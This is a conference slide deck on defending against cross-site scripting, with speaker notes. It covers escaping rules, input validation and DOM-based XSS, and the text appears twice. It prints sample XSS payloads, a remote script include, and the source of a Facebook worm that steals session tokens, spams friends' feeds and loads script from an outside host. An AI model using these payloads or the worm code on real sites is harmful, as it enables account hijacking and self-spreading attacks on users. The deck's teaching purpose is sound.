Avoiding Cross Site ScriptingNot as easy as you might thinkNDC2011 – Erlend Oftedal
Y
Some security experts say it's easy to protect against... but that may not always be the case
StatisticsCommon errorOWASP Top 10Sans  Top 25 Most Dangerous software errorshttp://info.veracode.com/rs/veracode/images/soss-v3.pdf
XSS - statisticshttp://info.veracode.com/rs/veracode/images/soss-v3.pdf
 http://security-sh3ll.blogspot.com/2011/05/twitter-xss.html
RiskStealing data from clientStealing data from serverExploiting the browserSession hijackingForm manipulation - keylogging
  http://telenorsoc.blogspot.com/2008/10/malware-og-drive-by-exploits.html
http://www.bindshell.net/tools/beef/screenshots.html
Why the name Cross Site Scripting?<iframe src="http://mail.google.com"><script></iframe>
Same Origin PolicyTwo frames/windows may only speak if they share:the same domain name
the same port
the same protocol So... What is Cross Site Scripting?Input may (un)intentionally modify the flow of scripts on a pageBreaking the Same Origin Policy
Demo
What’s going on?   <input type="text" name="search" value="">An input of 123 yields:    <input type="text" name="search" value="123">An input of hello"world yields:    <input type="text" name="search“ value="hello"world">An input of hello"><script>alert(1)</script> yields:    <input type="text" name="search"    value="hello"><script>alert(1)</script>">
Types of Cross Site ScriptingReflectedPersistentSecond order / indirect / side channel
 
 
 
 
 Script/contentDataApp x
What data can you actually trust?Scripts?Web services?Databases?
Input validationBlacklisting keywordsBlacklisting/whitelisting characters
How do you validate input?Input:		testValidation:		[a-z]+
How do you validate input?Input:		"this is a test"Validation:		[a-z\s"]+
How do you validate input?Input:		Conan O’BrianValidation:		[a-zA-Z\s"']+
How do you validate input?Input:		No, your calculation is wrong, because x > 5Validation:		[a-zA-Z\s"'>.,]+
How do you validate input?Input:		Try moving the <script> tag to the bottom of the  			page.Validation:		[a-zA-Z\s"‘<>.,]+
ASP.NET Request ValidationThrows exception on:&#< followed by a-z, !, ? Or /Can be disabled per page / model fieldSometimes good reason to disableOnly stops the simpler attacks
Demo
A couple of tricksBuild a javascript string without quotes:String.fromCharCode(88, 83, 83)/XSS/.sourceRunning script without user invocation:<img src="x" onerror="alert(1)" /><input ... Value="" autofocus onfocus="alert(1)" />
HTML escaping – almost there, but not quiteSystem.Web.HttpUtility.HtmlEncode(string s)Replace< with &lt;
>with &gt;
"with &quote;
'with &#39;
&with &amp;
Ascii 160 to 255 replaced with0#nn;Demo
It's all a matter of context
Per context escapingWe need to escape depending on context(s)OWASP XSS Prevention Cheat SheetRules for context and escaping
Rule #0 - Forbidden <script>...NEVER PUT UNTRUSTED DATA HERE...</script>   directly in a script  <!--...NEVER PUT UNTRUSTED DATA HERE...-->           inside an HTML comment  <div...NEVER PUT UNTRUSTED DATA HERE...=test/>      in an attribute name  <NEVER PUT UNTRUSTED DATA HERE... href="/test"/>     in a tag name
Rule#1 – Between tags<div>...HTML ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...</div>=> HTML escaping
Rule#2 - AttributesInside unquoted attribute:<divattr=...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...> content</div>     Inside single quoted attribute<div attr='...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...'> content</div>   Inside double quoted attribute<div attr="...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE..."> content</div>    HTML attribute escaping
Rule #3 – in javascript stringsInside a quoted string<script>alert('...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...')</script>    One side of a quoted expression<script>x='...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...'</script>          Inside quoted event handler:<div onmouseover="x='...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...'"></div>  JavascriptescapingNEVER put untrusted data inside strings passed to eval(), setInterval() and similar
Rule #4 – In CSS<style>    selector { property : ...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...; }</style>     <style>    selector { property : "...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE..."; } </style>  <spanstyle="property : ...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...">    text</span>CSS escaping
Rule#5 - URLs<a href="http://www.somesite.com?test=...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...">link</a>URL escaping
http://www.hackersbay.in/2011/05/facebook-worm-spreading-verify-my.html
var message = "Please do your part in PREVENTING SPAM by VERIFYING YOUR ACCOUNT. Click VERIFY MY ACCOUNT right next to comment below to begin the verification process...";varjsText= "javascript:(function(){_ccscr=document.createElement('script');_ccscr.type='text/javascript';_ccscr.src='http://pelorak.info/verify.js?'+(Math.random());document.getElementsByTagName('head')[0].appendChild(_ccscr);})();";varmyText= "==>[VERIFY MY ACCOUNT]<==";varpost_form_id=.getElementsByName('post_form_id')[0].value;varfb_dtsg=.getElementsByName('fb_dtsg')[0].value;varuid=.cookie.match(.cookie.match(/c_user=(\d+)/)[1]);var friends = new ();gf= new XMLHttpRequest(); gf.open("GET","/ajax/typeahead/first_degree.php?__a=1&filter[0]=user&viewer=" +uid+ "&"+.random(),false); gf.send(); if(gf.readyState!=4){ }else{ data =('(' +gf.responseText.substr(9) + ')'); if(data.error){ }else{ friends =data.payload.entries.sort(function(a,b){return a.index-b.index;});}}for(var i=0; i<friends.length; i++){varhttpwp= new XMLHttpRequest();varurlwp= "http://www.facebook.com/fbml/ajax/prompt_feed.php?__a=1";varparamswp= "&__d=1&app_id=6628568379&extern=0&" +"&post_form_id=" +post_form_id+"&fb_dtsg=" +fb_dtsg+"&feed_info[action_links][0][href]=" +(jsText) +"&feed_info[action_links][0][text]=" +(myText) +"&feed_info[app_has_no_session]=true&feed_info[body_general]=&feed_info[template_id]=60341837091&feed_info[templatized]=0&feed_target_type=target_feed&feedform_type=63&lsd&nctr[_ia]=1&post_form_id_source=AsyncRequest&preview=false&size=2&to_ids[0]=" + friends[i].uid+"&user_message=" + message;httpwp.open("POST", urlwp, true);httpwp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");httpwp.setRequestHeader("Content-length", paramswp.length);httpwp.setRequestHeader("Connection", "keep-alive");httpwp.onreadystatechange= function(){if (httpwp.readyState== 4 &&httpwp.status== 200){}}httpwp.send(paramswp);}alert("Verification Failed. Click 'OK' and follow the steps to prevent your account from being deleted.");.location = "http://pelorak.info/verify.php?js";
varmyText = "==>[VERIFY MY ACCOUNT]<==";varjsText = "javascript:(function(){_ccscr=document.createElement('script');_ccscr.type='text/javascript';_ccscr.src='http://pelorak.info/verify.js?'+(Math.random());document.getElementsByTagName('head')[0].appendChild(_ccscr);})();";...For each friend post a message {varurlwp = "http://www.facebook.com/fbml/ajax/prompt_feed.php?__a=1";varparamswp = "&__d=1&app_id=6628568379&extern=0&" +"&post_form_id=" + post_form_id + "&fb_dtsg=" + fb_dtsg + "&feed_info[action_links][0][href]=" + (jsText) + "&feed_info[action_links][0][text]=" + (myText) + "&feed_info[app_has_no_session]=true&feed_info[body_general]=&feed_info[template_id]=60341837091&feed_info[templatized]=0&feed_target_type=target_feed&feedform_type=63&lsd&nctr[_ia]=1&post_form_id_source=AsyncRequest&preview=false&size=2&to_ids[0]=" + friends[i].uid + "&user_message=" + message;...}
Rule#6 – Use a policy driven engineUse an HTML Policy engine to validate or clean user-driven HTML in an outbound way.Must be a whitelist based engine.OWASP AntiSamyHtmlPurifier
Why you do NOT write your own HTML-cleaner/sanitizer<IFRAME SRC="javascript:alert('XSS');"></IFRAME><SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT><BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")><META HTTP-EQUIV="Set-Cookie" Content="USERID=&lt;SCRIPT&gt;alert('XSS')&lt;/SCRIPT&gt;"><charset="x-mac-farsi">☼script ☾alert(1)//☼/script ☾http://ha.ckers.org/xss.html
Rule#7 – Avoid DOM based XSS
DOM based XSSInsecure handling of input in javascript - reading values from:other tags
native javascript objects/properties like
document.referer
window.location.hashAllows attacks present in URLs that are never seen by the server	http://www.somesite.com/#banner=may2011	http://www.somesite.com/#banner=may2011"><script>...
Demo
Demo$(location.hash)$("#<script>alert(1)</script>")http://codesearch.google.com/codesearch?as_q=%22%24%28location.hash%29%22
Avoiding DOM based XSSBeware of the inputs in this context
Beware of the complex contexts

Avoiding Cross Site Scripting - Not as easy as you might think

  • 1.
    Avoiding Cross SiteScriptingNot as easy as you might thinkNDC2011 – Erlend Oftedal
  • 2.
  • 4.
    Some security expertssay it's easy to protect against... but that may not always be the case
  • 5.
    StatisticsCommon errorOWASP Top10Sans Top 25 Most Dangerous software errorshttp://info.veracode.com/rs/veracode/images/soss-v3.pdf
  • 6.
  • 7.
  • 8.
    RiskStealing data fromclientStealing data from serverExploiting the browserSession hijackingForm manipulation - keylogging
  • 9.
  • 10.
  • 11.
    Why the nameCross Site Scripting?<iframe src="http://mail.google.com"><script></iframe>
  • 12.
    Same Origin PolicyTwoframes/windows may only speak if they share:the same domain name
  • 13.
  • 14.
    the same protocol So...What is Cross Site Scripting?Input may (un)intentionally modify the flow of scripts on a pageBreaking the Same Origin Policy
  • 15.
  • 16.
    What’s going on? <input type="text" name="search" value="">An input of 123 yields:    <input type="text" name="search" value="123">An input of hello"world yields:    <input type="text" name="search“ value="hello"world">An input of hello"><script>alert(1)</script> yields:    <input type="text" name="search"    value="hello"><script>alert(1)</script>">
  • 17.
    Types of CrossSite ScriptingReflectedPersistentSecond order / indirect / side channel
  • 18.
  • 19.
  • 20.
  • 21.
  • 22.
  • 23.
    What data canyou actually trust?Scripts?Web services?Databases?
  • 24.
  • 25.
    How do youvalidate input?Input: testValidation: [a-z]+
  • 26.
    How do youvalidate input?Input: "this is a test"Validation: [a-z\s"]+
  • 27.
    How do youvalidate input?Input: Conan O’BrianValidation: [a-zA-Z\s"']+
  • 28.
    How do youvalidate input?Input: No, your calculation is wrong, because x > 5Validation: [a-zA-Z\s"'>.,]+
  • 29.
    How do youvalidate input?Input: Try moving the <script> tag to the bottom of the page.Validation: [a-zA-Z\s"‘<>.,]+
  • 30.
    ASP.NET Request ValidationThrowsexception on:&#< followed by a-z, !, ? Or /Can be disabled per page / model fieldSometimes good reason to disableOnly stops the simpler attacks
  • 31.
  • 32.
    A couple oftricksBuild a javascript string without quotes:String.fromCharCode(88, 83, 83)/XSS/.sourceRunning script without user invocation:<img src="x" onerror="alert(1)" /><input ... Value="" autofocus onfocus="alert(1)" />
  • 33.
    HTML escaping –almost there, but not quiteSystem.Web.HttpUtility.HtmlEncode(string s)Replace< with &lt;
  • 34.
  • 35.
  • 36.
  • 37.
  • 38.
    Ascii 160 to255 replaced with0#nn;Demo
  • 39.
    It's all amatter of context
  • 40.
    Per context escapingWeneed to escape depending on context(s)OWASP XSS Prevention Cheat SheetRules for context and escaping
  • 41.
    Rule #0 -Forbidden <script>...NEVER PUT UNTRUSTED DATA HERE...</script>   directly in a script  <!--...NEVER PUT UNTRUSTED DATA HERE...-->           inside an HTML comment  <div...NEVER PUT UNTRUSTED DATA HERE...=test/>      in an attribute name  <NEVER PUT UNTRUSTED DATA HERE... href="/test"/>     in a tag name
  • 42.
    Rule#1 – Betweentags<div>...HTML ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...</div>=> HTML escaping
  • 43.
    Rule#2 - AttributesInsideunquoted attribute:<divattr=...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...> content</div>     Inside single quoted attribute<div attr='...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...'> content</div>   Inside double quoted attribute<div attr="...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE..."> content</div>    HTML attribute escaping
  • 44.
    Rule #3 –in javascript stringsInside a quoted string<script>alert('...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...')</script>    One side of a quoted expression<script>x='...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...'</script>          Inside quoted event handler:<div onmouseover="x='...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...'"></div>  JavascriptescapingNEVER put untrusted data inside strings passed to eval(), setInterval() and similar
  • 45.
    Rule #4 –In CSS<style>    selector { property : ...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...; }</style>     <style>    selector { property : "...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE..."; } </style>  <spanstyle="property : ...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...">    text</span>CSS escaping
  • 46.
    Rule#5 - URLs<ahref="http://www.somesite.com?test=...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...">link</a>URL escaping
  • 47.
  • 48.
    var message ="Please do your part in PREVENTING SPAM by VERIFYING YOUR ACCOUNT. Click VERIFY MY ACCOUNT right next to comment below to begin the verification process...";varjsText= "javascript:(function(){_ccscr=document.createElement('script');_ccscr.type='text/javascript';_ccscr.src='http://pelorak.info/verify.js?'+(Math.random());document.getElementsByTagName('head')[0].appendChild(_ccscr);})();";varmyText= "==>[VERIFY MY ACCOUNT]<==";varpost_form_id=.getElementsByName('post_form_id')[0].value;varfb_dtsg=.getElementsByName('fb_dtsg')[0].value;varuid=.cookie.match(.cookie.match(/c_user=(\d+)/)[1]);var friends = new ();gf= new XMLHttpRequest(); gf.open("GET","/ajax/typeahead/first_degree.php?__a=1&filter[0]=user&viewer=" +uid+ "&"+.random(),false); gf.send(); if(gf.readyState!=4){ }else{ data =('(' +gf.responseText.substr(9) + ')'); if(data.error){ }else{ friends =data.payload.entries.sort(function(a,b){return a.index-b.index;});}}for(var i=0; i<friends.length; i++){varhttpwp= new XMLHttpRequest();varurlwp= "http://www.facebook.com/fbml/ajax/prompt_feed.php?__a=1";varparamswp= "&__d=1&app_id=6628568379&extern=0&" +"&post_form_id=" +post_form_id+"&fb_dtsg=" +fb_dtsg+"&feed_info[action_links][0][href]=" +(jsText) +"&feed_info[action_links][0][text]=" +(myText) +"&feed_info[app_has_no_session]=true&feed_info[body_general]=&feed_info[template_id]=60341837091&feed_info[templatized]=0&feed_target_type=target_feed&feedform_type=63&lsd&nctr[_ia]=1&post_form_id_source=AsyncRequest&preview=false&size=2&to_ids[0]=" + friends[i].uid+"&user_message=" + message;httpwp.open("POST", urlwp, true);httpwp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");httpwp.setRequestHeader("Content-length", paramswp.length);httpwp.setRequestHeader("Connection", "keep-alive");httpwp.onreadystatechange= function(){if (httpwp.readyState== 4 &&httpwp.status== 200){}}httpwp.send(paramswp);}alert("Verification Failed. Click 'OK' and follow the steps to prevent your account from being deleted.");.location = "http://pelorak.info/verify.php?js";
  • 49.
    varmyText = "==>[VERIFYMY ACCOUNT]<==";varjsText = "javascript:(function(){_ccscr=document.createElement('script');_ccscr.type='text/javascript';_ccscr.src='http://pelorak.info/verify.js?'+(Math.random());document.getElementsByTagName('head')[0].appendChild(_ccscr);})();";...For each friend post a message {varurlwp = "http://www.facebook.com/fbml/ajax/prompt_feed.php?__a=1";varparamswp = "&__d=1&app_id=6628568379&extern=0&" +"&post_form_id=" + post_form_id + "&fb_dtsg=" + fb_dtsg + "&feed_info[action_links][0][href]=" + (jsText) + "&feed_info[action_links][0][text]=" + (myText) + "&feed_info[app_has_no_session]=true&feed_info[body_general]=&feed_info[template_id]=60341837091&feed_info[templatized]=0&feed_target_type=target_feed&feedform_type=63&lsd&nctr[_ia]=1&post_form_id_source=AsyncRequest&preview=false&size=2&to_ids[0]=" + friends[i].uid + "&user_message=" + message;...}
  • 50.
    Rule#6 – Usea policy driven engineUse an HTML Policy engine to validate or clean user-driven HTML in an outbound way.Must be a whitelist based engine.OWASP AntiSamyHtmlPurifier
  • 51.
    Why you doNOT write your own HTML-cleaner/sanitizer<IFRAME SRC="javascript:alert('XSS');"></IFRAME><SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT><BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")><META HTTP-EQUIV="Set-Cookie" Content="USERID=&lt;SCRIPT&gt;alert('XSS')&lt;/SCRIPT&gt;"><charset="x-mac-farsi">☼script ☾alert(1)//☼/script ☾http://ha.ckers.org/xss.html
  • 52.
    Rule#7 – AvoidDOM based XSS
  • 53.
    DOM based XSSInsecurehandling of input in javascript - reading values from:other tags
  • 54.
  • 55.
  • 56.
    window.location.hashAllows attacks presentin URLs that are never seen by the server http://www.somesite.com/#banner=may2011 http://www.somesite.com/#banner=may2011"><script>...
  • 57.
  • 58.
  • 59.
    Avoiding DOM basedXSSBeware of the inputs in this context
  • 60.
    Beware of thecomplex contexts

Editor's Notes

  • #3 Why on earth are we talking about cross site scripting? Isn’t that really old?
  • #4 Back in the 90’s, any proper website would have a guestbookPeople would post all sorts of shady imagesInject H1Or &lt;bgcolor&gt; or &lt;blink&gt;Spammers took over – immediate redirect to their glorious viagra store
  • #7 Already security conscious
  • #12 If we were not protected against cross site scripting....Same Origin Policy - Same domain, port and protocolThis is chaning with cross domain requests, but this is bascially what the SOP says
  • #15 Søkefelt xss – escape til script tag
  • #22 What can you actually trust?
  • #24 Do you really know all the events in HTML5?Do you really know all the reserved words in javascript?Could any of those be valid inputs?
  • #30 DEMO: slå på og vis allikevel&quot; onfocus=&quot;alert(1)&quot; autofocus x=&quot;
  • #31 Turn on request validaionUse onfocus + autofocus
  • #33 This will stop a lot of the attacks, but unfortunately not all of them.
  • #34 http://localhost:62795/OwaspXss/Rule3
  • #40 Firebug + javascript
  • #41 ExpressionOpera modifies link
  • #43 Notice the mobile icon
  • #50 Html5sec.org/innerhtml
  • #56 Demo hvis tid
  • #57 Allows the system to track taint from source to sink, even through transformationsAllows the framework to know which strings need to be escapedDominatorRuby on Rails + Python
  • #59 Demo hvis tid
  • #61 NDC video!